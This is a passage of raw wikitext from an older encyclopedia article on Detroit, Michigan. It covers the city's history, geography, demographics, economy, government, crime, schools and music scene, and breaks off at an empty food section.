Located along the [[Detroit River]] &amp;mdash; [[French language|French]]: ''Rivière du Détroit'', i.e. &quot;River of the [[Strait]]&quot; &amp;mdash; and across from the [[Canadian]] city of [[Windsor, Ontario|Windsor]], [[Ontario]], it is the center of a tri-county industrial zone (including [[Oakland County, Michigan|Oakland]] and [[Macomb County, Michigan|Macomb]] counties) that is among the most significant in the American [[Rust Belt]].

Detroit is the United States' 11th most populous city, with 900,198 residents, according to the [[United States Census Bureau]]'s 2004 estimate. This is half the population the city boasted at its peak in the [[1950s]], and Detroit leads the nation in terms of declining urban population. Residents are generally known as &quot;Detroiters.&quot; &quot;Detroit&quot; is also sometimes used as shorthand for the [[Metro Detroit]] region, which is also unofficially referred to as &quot;Southeast Michigan.&quot;

==History==
{{main|History of Detroit, Michigan}}
[[Image:DSCN4750 sieurdecadillaclanding e.jpg|thumb|left|200px|Statue of Antoine Laumet de La Mothe, sieur de Cadillac commemorating his landing along the Detroit River]]

[[France|French]] officer [[Antoine de la Mothe Cadillac]] founded a fort and settlement at the site of Detroit in 1701. The settlement was originally called ''[[Fort Detroit|Fort Pontchartrain d'Étroit]]'' after [[Louis Phélypeaux]], the [[comte de Pontchartrain]], minister of marine under [[Louis XIV of France|Louis XIV]] and for the river that connects [[Lake Saint Clair, North America|Lakes St. Clair]] and [[Lake Erie|Erie]]. The [[Kingdom of Great Britain|British]] gained control of the area in 1760 following the [[French and Indian War]] and thwarted [[siege of Fort Detroit|an Indian attack]] three years later during [[Pontiac's Rebellion]]. In 1796, Detroit and its surrounding areas passed to the [[United States]], and from 1805 to 1847 Detroit was the territorial and [[Michigan State Capitol|state capitol of Michigan]]. Though Detroit fell to the British for a short time during the [[War of 1812]] (''see [[Siege of Detroit]]''), it was recaptured by General [[William Henry Harrison]] in 1813. Detroit was incorporated as a city in 1815.

Situated strategically on a strait along the [[Great Lakes]] waterway, Detroit emerged as a key transportation center. The city grew steadily during the [[1830s]], and subsequent decades saw substantial growth in the shipping, shipbuilding, and manufacturing industries. A thriving carriage trade set the stage for the work of [[Henry Ford]], who in 1896 built his first [[automobile]]. Ford's first plant was a rented workshop on Mack Avenue in Detroit; this was soon outgrown, and the first factory built and owned by Ford was constructed in 1904 on Piquette Avenue. The famous [[Model T]] Ford was conceived in this plant. By 1909, the Model T's success outstripped the Piquette plant's capabilities, and production was moved to [[Highland Park, Michigan|Highland Park]], an independent city within Detroit. Ford's manufacturing innovations as well as significant contributions from many other automotive pioneers such as [[William C. Durant]], the [[Dodge]] brothers, and [[Louis Chevrolet]] solidified Detroit's status as the world's car capital, and the blossoming industry spurred the city's spectacular growth during the first half of the 20th century, drawing many new residents from the southern United States.

[[Image:woodward.jpg|thumb|right|200px]]
[[Image:4a22542r.jpg|thumb|right|200px|A photograph of the Detroit Cadillac plant on Clifford Avenue, circa 1910.]]
With the factories came high-profile labor strife, climaxing in the [[1930s]] as the [[United Auto Workers]] initiated bitter battles with Detroit's auto manufacturers. The labor activism established during those years, which brought fame and notoriety to hometown union leaders such as [[Jimmy Hoffa]] and [[Walter Reuther]], remains a key feature on the city's cultural and political landscape.

Detroit has endured a painful decline during the past several decades, and is often held up as a symbol of [[Rust Belt]] urban blight. The city's population has plummeted since the [[1950s]] as residents moved to the suburbs, particularly following the [[12th Street Riot]] in 1967. [[Desegregation busing|Court ordered busing]] accelerated the &quot;[[white flight]]&quot; from the city.  Large numbers of buildings and homes were abandoned, with many remaining for years in states of decay. The percentage of black residents increased rapidly and the first black mayor, [[Coleman Young]], was elected in 1973. Young's style during his record four terms in office was not well received by many white Detroiters.

Injecting [[heroin]] grew in popularity in Detroit during the [[1960s]]. Though use of the drug leveled off as the population declined, the Detroit gang [[Young Boys Inc.]] was formed. The [[1980s]] introduced the widespread use of [[crack cocaine]] and produced collateral property crime as addicts stole to finance their purchases. Violence was common as competing drug dealers fought for territory. Ongoing urban renewal efforts have led to the razing of abandoned homes as well as the demolition or renovation of some abandoned skyscrapers and large buildings for new housing developments. An expedited process was implemented to remove abandoned homes near schools. With the large number of homes razed, sizeable tracts have reverted back to nature to become a form [[urban prairie]]. Wild animals have been spotted migrating from their destroyed former habitat in the suburbs to the city.[http://www.detroitblog.org/?p=287] 

&quot;Renaissance&quot; has been a perennial buzzword among generations of city leaders since the 1967 riots, coined with the construction of the [[Renaissance Center]] in the early 1970s. One of the city's high schools is named [[Renaissance High School]]. It was not until the [[1990s]] that Detroit enjoyed somewhat of a bona fide revival, much of it centered downtown.  A 1996 state referendum brought three casinos&amp;mdash;[[MGM Grand Detroit]], [[Motor City Casino]], and [[Greektown Casino]]&amp;mdash;with the goal of increasing tourism and stemming the flow of gambling dollars to the nearby [[Windsor, Ontario]] casino.

In 2000, amid some controversy, [[Comerica Park]] replaced historic [[Tiger Stadium]] as the home of the [[Detroit Tigers]].  And in 2002 [[Ford Field]] brought the [[NFL]]'s [[Detroit Lions]] back into Detroit from [[Pontiac, Michigan|Pontiac]]. The 2004 opening of the [[Compuware|Compuware Center]] gave downtown Detroit its first significant new office building in a decade. Significant landmarks such as the [[Fox Theatre (Detroit)|Fox Theatre]], [[Detroit Opera House]], and the Gem Theater have been restored and now host concerts, musicals, and plays. Many downtown centers such as Greektown, [[Campus Martius Park]] and the Eastern Market, as well as the Michigan State Fairgrounds on the northern border, draw patrons and host activities.

==Geography and climate==
[[image:Large Detroit Landsat.jpg|thumb|right|200px|A simulated-color satellite image of Detroit taken on NASA's Landsat 7 satellite.]]
According to the [[United States Census Bureau]], the city has a total area of 142.9 [[square mile]]s (370.2 [[square kilometre|km²]]). 138.8 square miles (359.4 km²) of it is land and 4.2 square miles (10.8 km²) of it is water. The total area is 2.92% water. The elevation at the [[Coleman A. Young International Airport]] in northeastern Detroit is 626 [[foot (unit of length)|feet]] (190.8 [[metre|m]]).

Sitting atop a large [[salt]] mine [http://info.detnews.com/history/story/index.cfm?id=17&amp;category=business], Detroit is located on the north bank of the [[Detroit River]], between [[Lake Erie]] and [[Lake Saint Clair, North America|Lake St. Clair]], in southeastern Michigan. It lies north of [[Windsor, Ontario]], which is often referred to by residents of the city as their &quot;neighbor to the south.&quot; Detroit features two border crossings: the privately-owned [[Ambassador Bridge]] and the [[Detroit-Windsor Tunnel]] that has motor vehicle and railroad access to and from Canada.

Detroit completely encircles the cities of [[Hamtramck, Michigan|Hamtramck]] and [[Highland Park, Michigan|Highland Park]]. In its northeast corner are [[Harper Woods, Michigan|Harper Woods]] and the four cities and single village that make up the [[Grosse Pointe]]s. Detroit has for years been culturally divided into [[East Side Detroit|East Side]] and [[West Side Detroit|West Side]], with [[Woodward Avenue]] as the dividing line. The city is criss-crossed by three systems of roads: the original French roads running perpendicular to the river, radial roads from a Washington, D.C.-inspired system and true north-south roads from the [[Northwest Ordinance]] township system.

[[Image:DSCN4745 detroitofficebuildings e.jpg|175px|left|thumb|Downtown Detroit buildings, the historic [[Art Deco]] [[Guardian Building]] is on the left]]
Detroit contains an eclectic combination of architectural styles. [[Art Deco]] buildings from the [[1920s]] and [[1930s]] are intermixed with more modern structures, notably in the downtown area and in the [[New Center, Detroit|New Center]] adjacent to [[Wayne State University]] north of the downtown. Smaller commercial areas are interspersed amongst single-family homes and apartment complexes. The Eastern Market farmer’s market is the largest open-air wholesale/retail market of its kind in the United States with more than 150 businesses. Despite these commercial and residential areas, abandoned buildings and large tracts of empty land remain throughout the city &amp;mdash; notably in the downtown area. In recent years, the city has undertaken efforts to demolish abandoned buildings to remove suspected criminal elements using the structures and to revitalize the city.

Detroit and the rest of southeastern Michigan have a typically [[Midwestern United States|Midwestern]] [[temperate]] seasonal climate, which is influenced by the [[Great Lakes]]. Winters are cold with moderate [[snowfall]] while summers can be warm and somewhat humid.[http://www.michiganvacations.com/regions/Detroit-Michigan.html] The average high temperature in July is 85&amp;nbsp;&amp;deg;[[fahrenheit|F]] (29&amp;nbsp;&amp;deg;[[celsius|C]]) and in January highs average 33&amp;nbsp;&amp;deg;F (1&amp;nbsp;&amp;deg;C). Summer temperatures can top over 90&amp;nbsp;&amp;deg;F (32&amp;nbsp;&amp;deg;C), and winter temperatures rarely drop below 0&amp;nbsp;&amp;deg;F (&amp;minus;17&amp;nbsp;&amp;deg;C). Average monthly precipitation ranges from about two to four&amp;nbsp;[[inch|inches]] (4 to 9&amp;nbsp;[[centimetre|cm]]), being heaviest in the summer months. Snowfall, which normally occurs from November to early April, ranges from 1 to 10&amp;nbsp;inches (3&amp;nbsp;to&amp;nbsp;25&amp;nbsp;cm) per month.[http://www.weather.com/activities/other/other/weather/climo-monthly-graph.html?locid=USMI0229&amp;from=36hr_bottomnav_undeclaredAirportCode=KDET&amp;SafeCityName=Detroit&amp;StateCode=MI&amp;Units=none&amp;IATA=DTW] The highest recorded temperature was 103.0&amp;nbsp;&amp;deg;F (39.0&amp;nbsp;&amp;deg;C) on [[June 25]], [[1988]], while the lowest recorded temperature was &amp;minus;17.0&amp;nbsp;&amp;deg;F (&amp;minus;27.0&amp;nbsp;&amp;deg;C) on [[January 19]], [[1994]].[http://weather.yahoo.com/climo/USMI0229_f.html]

{{seealso|Neighborhoods and projects in Detroit, Michigan}}

== Demographics ==
{| class=&quot;wikitable&quot; style=&quot;float:right; margin-left:3px; text-size:80%; text-align:right&quot;
|align=center colspan=3| '''City of Detroit &lt;br&gt;Population by year [http://www.census.gov/population/www/documentation/twps0027.html]'''
|-
|Year || Population
|Rank
|-
|1840 || 9,102
|40
|-
|1850 || 21,019
|30
|-
|1860 || 45,619
|19
|-
|1870 || 79,577
|18
|-
|1880 || 116,340
|18
|-
|1890 || 205,876
|15
|-
|1900 || 285,704
|13
|-
|1910 || 465,766
|9
|-
|1920 || 993,078
|4
|-
|1930 || 1,568,662
|4
|-
|1940 || 1,623,452
|4
|-
|1950 || 1,849,568
|5
|-
|1960 || 1,670,144
|5
|-
|1970 || 1,511,482
|5
|-
|1980 || 1,203,339
|6
|-
|1990 || 1,027,974
|7
|-
|2000 || 951,270
|10
|}
===Overview===
Since the city was founded under the French, [[French colonization of the Americas|French colonial]] influence can be found in many place names (''Gratiot Avenue'', ''Beaubien Street'', ''Cadieux Road'', ''Chene Park''). Only a small percentage of area residents are descendents of [[18th-century]] French settlers. 

Detroit's population increased more than sixfold during the first half of the 20th century, due largely to a massive influx of Eastern European and [[U.S. South|Southern]] migrants&amp;mdash;both white and black&amp;mdash;who came to work in the burgeoning automobile industry.  One consequence is that [[Metro Detroit]] has a higher percentage of blacks than any other northern U.S. metropolitan area&amp;mdash;roughly one quarter of the metropolitan population. Altogether, more than a million African-Americans live in the area, over 80% within city limits. With the suburban outflux, Metro Detroit is among the nation's most racially segregated regions.[http://newdetroit.obscorp.com/obsportal/modules/tinycontent01/print.php?id=1]

Metro Detroit's ethnic communities are diverse and include descendants of the French founders, as well as [[Germany|Germans]], [[Poland|Poles]], [[Ireland|Irish]], [[Italy|Italians]], and [[Greece|Greeks]] who settled during the city's early 20th century industrial boom. Metro Detroit has the largest concentration of [[Belgians]] outside of [[Belgium]]. The Detroit area is also home to a large [[Assyrian people|Chaldean-Assyrian]] population and to the country's largest concentration of Arab Americans. Chaldean-owned businesses are the retail life of the Detroit neighborhoods,[http://www.chaldeanchat.net/forums/viewtopic.php?t=4157] including some 90% of the city's &quot;party stores&quot; (selling high volumes of [[lottery]] tickets, [[hard liquor]], [[beer]], [[potato chips]], and other snack foods). The southwest side of the city contains a notable [[Chicano]] community and the area has in recent years been renamed &quot;[[Mexicantown]]&quot; to reflect the large number of retail, restaurant, commercial, and industrial properties owned by the [[Hispanic]] population.

Up until the 1980s, there was a growing [[gay]] community in the northern part of the city in the area surrounding the City's ''Palmer Park'' along Woodward Avenue. The community disappeared as crime rates rose and gays often found themselves the object of discriminatory law enforcement targeting, with many residents eventually migrating north to the cities of [[Ferndale, Michigan|Ferndale]] and [[Royal Oak, Michigan|Royal Oak]].

===Population===
As of the [[census]][[Geographic references#2|&lt;sup&gt;2&lt;/sup&gt;]] of [[2000]], there were 951,270 people, 336,428 households, and 218,341 families residing in the city. The [[population density]] was 6,855.1/mi² (2,646.7/km²). There were 375,096 housing units at an average density of  2,703.0/mi² (1,043.6/km²).  The racial makeup of the city was 81.55% [[African American (U.S. Census)|Black]] or [[Race (U.S. Census)|African American]], 12.26% [[White (U.S. Census)|White]], 0.33% [[Native American (U.S. Census)|Native American]], 0.97% [[Asian (U.S. Census)|Asian]], 0.03% [[Pacific Islander (U.S. Census)|Pacific Islander]], 2.54% from [[Race (U.S. Census)|other races]], and 2.32% from two or more races. 4.96% of the population was [[Hispanic American|Hispanic]] or [[Latino (U.S. Census)|Latino]] of any race.

There were 336,428 households out of which 33.9% have children under the age of 18 living with them, 26.7% were [[Marriage|married couples]] living together, 31.6% had a female householder with no husband present, and 35.1% were non-families. 29.7% of all households were made up of individuals and 9.2% had someone living alone who is 65 years of age or older. The average household size was 2.77 and the average family size was 3.45.

In the city the population was spread out with 31.1% under the age of 18, 9.7% from 18 to 24, 29.5% from 25 to 44, 19.3% from 45 to 64, and 10.4% who are 65 years of age or older. The median age was 31 years. For every 100 females there were 89.1 males. For every 100 females age 18 and over, there were 83.5 males.

The median income for a household in the city was $29,526, and the median income for a family was $33,853. Males had a median income of $33,381 versus $26,749 for females. The [[per capita income]] for the city was $14,717. 26.1% of the population and 21.7% of families were below the [[poverty line]]. Out of the total population, 34.5% of those under the age of 18 and 18.6% of those 65 and older were living below the poverty line.

In a 1998 government study by the National Institute for Literacy[http://www.nifl.gov], 47% of Detroiters were deemed as &quot;[[literacy|functionally illiterate]].&quot; Detroit's population trends may imply that today this figure is significantly higher. At the same time, some 72% of all Detroit children are born to single unwed mothers.[http://www.ncfc.net/travwhit.html]

== Economy ==
[[Image:Detroit GM headquarters.jpg|thumb|right|275px|A United States Coast Guard Cutter passes the [[Renaissance Center]], headquarters of General Motors.]]
Detroit and the surrounding region constitute a manufacturing powerhouse, most notably as home to the American [[automobile]] industry and the [[Big three|Big Three]] auto companies. [[General Motors]] is based in Detroit, [[Ford Motor Company]] in nearby [[Dearborn, Michigan|Dearborn]], and one of the two world headquarters for [[DaimlerChrysler]] in [[Auburn Hills, Michigan|Auburn Hills]]  (the other is in [[Stuttgart]], [[Germany]]). Dotting the Detroit landscape are countless offices and plants in the automotive support business: parts, supplies, electronics, and design. It is not uncommon in Detroit to hear radio ads or to spy billboards in which multimillion-dollar auto corporations make insider sales pitches to one another. Nevertheless, there is a flip side to the automotive dominance: because of its almost singular dependence on the auto industry, Detroit is more acutely vulnerable to economic cycles than most large cities. According to one saying, &quot;When the auto industry hiccups, Detroit coughs, and when the auto industry catches a cold, Detroit gets pneumonia.&quot;  Detroit is often one of the first cities to feel the effects of a nationwide recession and one of the last to recover from it.

Including the Big Three, there are seventeen [[Fortune 500]] companies headquartered in Metro Detroit, including [[Borders Group|Borders Books and Music]], [[Comerica]], [[Federal-Mogul]], Kelly Services, and Lear Corporation. Detroit is home to [[Compuware]] and the national pizza chain [[Little Caesars]]. Other major industries include advertising, medical services, chemicals, computer software, and casino gambling.

''J.W. Westcott II'', which is the only floating [[post office]] in the world, operates on the Detroit River.

== Law and government ==
The city is run by the mayor and under a charter adopted on [[July 1]], [[1974]]. The same charter renamed the common council to the city council whose members are full-time legislators elected at-large on a nonpartisan ballot. Detroit has a &quot;[[Mayor-council government|strong mayoral]]&quot; system, with the mayors not requiring council approval of departmental appointments. Although the council approves budgets, by court interpretation the mayor is not obligated to adhere to any earmarking of funds for projects and departments. City ordinances must be approved by the council as well as contracts in excess of variable amounts. Municipal [[election]]s for mayor, city council and city clerk are held every year congruent to 1 [[modular arithmetic|modulo]] 4 (e.g., 1993, 1997, 2001, 2005, 2009). 

In addition to [[property tax]], the city levies an [[income tax]] of 2.65% on residents, 1.325% on non-residents, and 1.6% on corporations. Revenue is also obtained from the Detroit-owned Water and Sewer Department which operates most of the fresh water and [[wastewater treatment]] facilities within the metropolitan area. The city has a budget deficit estimated at $214 to $400 million. A financial default by the city and a state-ordered receivership could necessitate a bailout from federal or state agencies, raising taxes or both. But city officials insist such a nightmare scenario is unlikely. The city has been cutting its workforce through layoffs and attrition and additional layoffs are likely. The city also is attempting to negotiate union concessions and is strongly considering a property-tax rollback to help spur development in the city.

Detroit has several [[Town twinning|sister cities]], including [[Chongqing]] ([[People's Republic of China]]), [[Dubai]] ([[United Arab Emirates]]), [[Kitwe]] ([[Zambia]]), [[Minsk]] ([[Belarus]]), [[Nassau, Bahamas]], [[Toyota, Aichi|Toyota]] ([[Japan]]),  and [[Turin]] ([[Italy]]).

{{seealso|List of mayors of Detroit, Michigan}}

=== Politics ===
As with most large urban centers in the United States, Detroit consistently supports the [[United States Democratic Party|Democratic Party]] in national and state elections. Its city elections are non-partisan, though mayors for the past four decades have been open about being members of the Democratic Party.

Considered by some to be a rising political star when he won election in 2001 at age 31, Mayor [[Kwame Kilpatrick]] has been dubbed by wags as &quot;America's [[hip-hop]] mayor&quot; because of his fond appreciation for youth culture, flashy dress, and a [[diamond]] stud [[earring]] as well as his sponsorship of a &quot;hip-hop&quot; summit.[http://www.forrelease.com/D20030418/def008.P2.04182003171023.18422.html] Since taking office, however, the mayor and his administration have found themselves dogged by accusations of scandal and impropriety (including using city funds to buy his wife a [[Lincoln Navigator]] while the city was running a huge deficit). Detroit's major media have relentlessly pursued the stories, including reports of wild parties involving strippers at the mayoral mansion. The mayor has strongly denied accusations of wrongdoing. Nevertheless, Kilpatrick was re-elected for a second four-year term as mayor in 2005, helped in part by strong support from members of Detroit Renaissance[http://www.detroitrenaissance.com], a group formed in 1970 by leading business leaders.

In 2004, following scandals and legal decisions, a court-ordered reorganization of the Detroit Police Department was implemented under the supervision of the [[Federal Bureau of Investigation|FBI]].

=== Courts ===
Detroit's courts are all state-administered and elections are nonpartisan. The Circuit Court for Wayne County is located downtown in the Coleman A. Young Municipal Center (previously called the &quot;City-County Building&quot;). Circuit judges are elected county-wide and handle all cases where more than [[United States dollar|$]]25,000 is in dispute, felonies, divorce/custody actions and all matters of general equitable jurisdictions. Prior to a court reorganization in the late [[1990s]], the city had a separate criminal court called Recorders Court, located at the [[Frank Murphy]] Hall of Justice across from police headquarters. Judges for the Recorders Court were elected city-wide. The criminal division of the circuit court is still at the Frank Murphy building.

The Wayne County Probate Court is responsible for estate administration, guardianships and conservatorships for the disabled and minors, juvenile delinquency and neglect proceedings, as well as the divorce/family court docket that is run jointly with the Circuit Court. Probate judges are elected on a county-wide ballot.  In addition to the facilities at the Municipal Center, the Probate Court also operates juvenile detention facilities and hosts referee offices at the James Lincoln Justice Building.

The state-run 36th District Court is located on Madison Avenue and handles civil disputes where less than $25,000 is in dispute, landlord-tenant matters, [[misdemeanor]]s, and preliminary examinations of criminal defendants charged with [[felony|felonies]] prior to being bound over to circuit court. The 36th District Court incorporated the city's common pleas, traffic court, and misdemeanor prosecutions that were previously handled in Recorders Court.

In addition to the above trial courts, Detroit also hosts the 1st District of the Michigan Court of Appeals' offices, located in the New Center area in what once was the [[General Motors]] headquarters building.

The [[United States District Court]] for the Eastern District of Michigan is also based in Detroit.  The main offices are located in the [[Theodore Levin]] Courthouse building on Fort Street in Downtown Detroit.  The building was originally dedicated in 1932 during the administration of [[Herbert Hoover]] and renamed in 1995.[http://www.theragens.com/history/Levin%20-%20Theodore's%20Courthouse.htm]  Various judges of the [[United States court of appeals]] for the Sixth Circuit also have offices within the [[Art Deco]] federal building.

== Crime ==
During the latter half of the 20th century, Detroit's [[crime]] figures were often among the highest in the U.S. The city is currently listed as the second most dangerous city by the [[Morgan Quitno]] Corporation's statistics [http://www.morganquitno.com/] (after [[Camden, New Jersey]]). Detroit is consistently in the top five for homicide rates, and was third in 2004, with a murder rate of 42.1 per 100,000. The highest murder total for Detroit was 714 murders in 1974, though the highest murder &lt;i&gt;rate&lt;/i&gt; was recorded in 1991, when there were 615 homicides and the city's population was just over a million. This factored into a rate of around 60 murders per 100,000. Many of these problems are blamed on the widespread [[middle-class]] flight (which has contributed greatly to [[urban decay]]), poverty, de facto [[racial segregation|segregation]] of the region, and unemployment. In 2005, there were 374 murders in Detroit.

An analysis of crime in downtown Detroit by the Michigan Metropolitan Information Center at Wayne State University found crime rates in the central city lower than rates for the entire nation, state and other large Michigan metro areas — and improving. Detroit also includes many middle-class neighborhoods in which crime is far less prevalent than in more impoverished areas of the city. On the other hand, many of the suburbs, which are predominantly [[whites|white]] (though some include sizable African-American and Asian minorities) and boast much higher household income levels than Detroit, are among the 25 safest cities in the United States with a population of 75,000 or above. 

The city has, in the past, faced hundreds of [[arson]]s, often in the city's many abandoned homes, each year on [[Devil's Night]], the evening before [[Halloween]]. The [[Angel's Night]] campaign, launched in the late [[1990s]], draws tens of thousands of volunteers to patrol the streets during Halloween week. The effort has put a serious damper on Devil's Night arson: in 2002, there were just 110 fires during the October 29&amp;ndash;31 period, representing a 30 percent decline in total fires and a 41 percent decline in suspicious fires; this compares to 500-800 fires in past decades. In 2003, the three-day number was 117, increasing slightly to 141 in 2004; officials attributed the 2004 increase to power lines being knocked down by high winds.

==Education==
=== Primary and secondary education ===
[[Image:Detroitlogo.jpg|left|thumb|250px|The current Detroit Public Schools logo.]]
The city is served by the [[Detroit Public Schools]] (DPS) district, various [[charter school]]s, and [[private school]]s, with the [[Archdiocese of Detroit]] running a private [[Catholic]] school system in and around the city.[http://www.detnews.com/2005/specialreport/0502/27/A01-101701.htm]. The student population was 130,600 as of November 2005 [http://www.detnews.com/apps/pbcs.dll/article?AID=/20051123/SCHOOLS/511230328]. The district consists of 232 schools: 147 elementary, 31 middle, 28 high schools, ten adult education and four vocational education. In addition to the ten newly built schools (eight elementary, two middle), five area high schools have either been remodeled or have new buildings.  More than half of the city schools were built before 1930.[http://www.detroitk12.org/importantNews/Deficit_Elimination_Plan1.pdf]

DPS has not escaped many of the problems that other city sectors have encountered. In the early [[1970s]], the [[NAACP]] brought DPS to court seeking remedies for past ''de jure'' racial segregation. In a series of decisions beginning in September 1971, federal judge [[Stephen Roth]] ordered [[busing]] to desegregate the system, speeding up the [[white flight]] that had been on-going within the city. As of 2004, Detroit schools were 91% African-American.[http://www.detroitk12.org/schools/index.php?type=All+Schools] In the latest count, Detroit lost over 10,000 students, and the district continues to project similar losses for the next several years.[http://www.detnews.com/apps/pbcs.dll/article?AID=/20051123/SCHOOLS/511230328]

The school district continued a steady decline and, in the mid to late 1990s, was rocked by allegations of mismanagement by the school board. In 1999, the [[Michigan Legislature]] removed the locally elected board of education and replaced it with a reform board appointed by the mayor and governor, with the reform board selecting a CEO to run the schools. In 2004, reports revealed that the appointed reform board was no improvement.  The elected board of education responsible for selecting the General Superintendent to run the schools was reinstated following a city referendum. The election of the eleven member board of education, with four chosen at-large and seven by district, occurred on [[November 8]], [[2005]].

Detroit has a well developed [[charter school]] system. While charter schools accept students from any location within Michigan, making it difficult to determine the number of Detroit children attending, news reports indicate that charter enrollment was up 22.5% or almost 10,000 students in Detroit in 2005, leading to a figure of about 54,000 Detroit students attending charter schools. When charter school and Detroit Public Schools enrollments are combined, the total number of children in public schools in Detroit has increased.[http://www.detnews.com/apps/pbcs.dll/article?AID=/20051219/SCHOOLS/512190339&amp;SearchID=73230252551594]

If the current growth trends continue, more of Detroit's public school students will be attending charter schools than the Detroit Public Schools during the 2009-2010 school year (based on 22.5% growth rate in charter public schools and a constant loss of 10,000 students per year in the DPS enrollment). To meet the change in demand, the Detroit Public Schools has a goal of closing 95 schools by 2009.[http://www.detnews.com/apps/pbcs.dll/article?AID=/20051123/SCHOOLS/511230328]

=== Higher education ===
It was once the home of the [[University of Michigan]], which was founded in Detroit in 1817 but then later moved to [[Ann Arbor, Michigan|Ann Arbor]] in 1837. Detroit has several universities and colleges within its borders, including: [[College for Creative Studies]], [[Lewis College of Business]], [[Marygrove College]], [[Wayne State University]], [[University of Detroit Mercy]], and [[Wayne County Community College]].  The [[Detroit College of Law]], now affiliated with [[Michigan State University]], was founded in the city in 1891 and remained there until 1997, when it relocated to [[East Lansing, Michigan|East Lansing]].

== Culture ==
=== Music and performing arts ===
[[Image:Fisher Building, Detroit.jpg|right|thumb|200px|The Fisher Building, located in the City's New Center area, home to the Fisher Theatre.]]
{{main|Music of Detroit}}
Music has been the dominant feature of Detroit's nightlife since the late [[1940s]]. The metropolitan area boasts two of the top live music venues in the U.S. [[DTE Energy Music Theatre]] (formerly Pine Knob) was the most attended summer venue in the U.S. in 2005 for the fifteenth consecutive year, while [[The Palace of Auburn Hills]] ranked twelfth, according to music industry source [[Pollstar]]. Detroit is considered by most industry analysts as the best concert market in the U.S. in per capita terms. 

The city has the second-largest theater district in America, after New York City, with eighteen professional theaters. Outside New York City, Detroit has more theater seats than any other city east of the Mississippi River. Detroit is home to the [[Detroit Symphony Orchestra]] and the Detroit Opera House. Major theaters include the [[Fox Theatre (Detroit)|Fox Theatre]], [[Masonic Temple Theatre]], [[Fisher Theatre]], [[State Theatre]], [[Music Hall (Detroit)|Music Hall]], and the [[Detroit Repertory Theatre]]. Historically, Detroit's former [[Black Bottom]] neighborhood was a major [[jazz]] and [[blues]] mecca through the [[1950s]]; its influence would still be felt decades later. Major jazz stars of the era often came to Black Bottom to perform in its many venues.

[[Image:Motown.jpg|left|thumb|200px|The Logo for the [[Motown Records]] label, founded in Detroit.]]
One of the highlights of Detroit's musical history was the success of [[Motown Records]] during the [[1960s]] and early [[1970s]]. The label was founded in Detroit by [[Berry Gordy, Jr.]] and housed at the &quot;[[Hitsville U.S.A.]]&quot; complex along West Grand Boulevard until 1972. Motown was home to some of the most popular recording acts in the world, including [[Marvin Gaye]], [[The Temptations]], [[Stevie Wonder]], [[Diana Ross]] &amp; [[the Supremes]],  [[Smokey Robinson]] &amp; [[The Miracles]], [[The Four Tops]], and [[Martha Reeves]] &amp; [[the Vandellas]]. One major Detroit R&amp;B artist from this era that was not in Motown's stable was [[Aretha Franklin]].

Through the 1950's Detroit was one of America's most important jazz centers. Notable musicians from Detroit who achieved international recognition include: Elvin Jones, Hank Jones, Thad Jones, Tommy Flanagan, Lucky Thompson, Louis Hayes, Barry Harris, Paul Chambers, Marcus Belgrave, Milt Jackson, Kenny Burrell, Pepper Adams. 

Metro Detroit also spawned in the late 1960s a unique, high-energy rock scene in antithesis to Motown and the more mellow scenes popular on the coasts. Area artists [[MC5]] and [[Iggy and the Stooges]] laid the groundwork for the punk rock movement in the mid-1960s. Rock acts from southeast Michigan that first enjoyed success in the area include 1970s icons [[Bob Seger]], [[Ted Nugent]] &amp; The [[Amboy Dukes]], [[The Romantics]] and [[Grand Funk Railroad]] as well as recent acts [[The White Stripes]], and [[The Von Bondies]]. Detroit is also home to [[The Black Dahlia Murder]], a popular [[death metal]] band. The Detroit area is also generally accepted as the birthplace of the [[Techno music|Techno]] movement, which has grown from local radio and clubs to dance venues worldwide over the past 25 years. [[As of 2006]], fourteen groups or solo artists, four nonperformers, and two sidemen connected with the Detroit area have been enshrined in the [[Rock and Roll Hall of Fame]].

Detroit is more recently home to many hip-hop artists such as: [[Aaliyah]], [[Eminem]], [[Royce Da 5'9&quot;]], [[Slum Village]], [[Alley Life]], [[Rock Bottom Entertainment|Rock Bottom]], [[Juan (Street Lord'z)|Juan]], [[Trick Trick]] &amp; The Goon Sqwad, [[D12 (hip-hop group)|D12]], [[Teairra Mari]], [[Tone-Tone]], [[MC Breed]], [[Blade Icewood]], [[Big Herk]], the [[Street Lord'z]], [[Insane Clown Posse]] and [[Twiztid]] are among the musical acts who have kept the diverse musical pipeline flowing.

=== Events ===
[[Image:DetroitDownBrushSt.JPG|thumb|right|300px|A view looking south down Brush Street at the [[Renaissance Center]] (rear left) and the Wayne County Building (right). The giant decal on the Renaissance Center was installed for the [[2005]] [[Major League Baseball All-Star Game|MLB All-Star Game]]. It is 4,612 ft (1,375 m) from the home plate in [[Comerica Park]] to the main tower of the Renaissance Center.]]
Detroit has two major events that are associated with the automobile industry: the [[North American International Auto Show]] (January) and the [[Woodward Dream Cruise]] (August). A number of annual music events occur in the city, which are the Downtown Hoedown [[country music]] festival (May), [[Detroit Electronic Music Festival|DEMF/Movement/Fuse-In]] electronic music festival (May), [[Ford Detroit International Jazz Festival]] (September), and the [[Concert of Colors]], a diverse summer music festival.

Other Detroit events include: the [[Windsor-Detroit International Freedom Festival]] (June&amp;ndash;July), [[Comerica Tastefest]] (July), [[Detroit Thunder Fest]] hydroplane race (July), [[Detroit Fashion Week]] (August), [[Art on the Move]], and the [[America's Thanksgiving Parade]].

Due to the large Polish population, the day before [[Ash Wednesday]], or the festival of [[Mardi Gras]]/[[Fat Tuesday]] is more frequently known locally as Pączki Day (though traditionally celebrated by Poles five days earlier on [[Fat Thursday]]). Many Metro Detroiters join in the festivity by indulging in jelly-filled donuts called [[pączki|pączkis]].

===Fashions===
Detroit is a city known for style. One of the most known fashions of Detroit is suits with alligator shoes, and the city is often referred to as &quot;Alligator City.&quot; Many inner-city young adults seem to take a liking in wearing fashionable streetwear or workwear such as [[Nike, Inc.|Nike]] shoes, [[baseball cap]]s, [[Carhartt]] jackets, [[Guess?|Guess]] jeans, [[Dickies]], [[Iceberg History]], and more recently [[Marithé François Girbaud]] and [[Akademiks]] jeans. There are more expensive tastes in [[Cartier]] eyewear, [[Rolex]] wristwear, [[Stacy Adams]] dress shoes, [[Pelle Pelle]], and [[Al Wissam]] leather jackets.

===Food===  
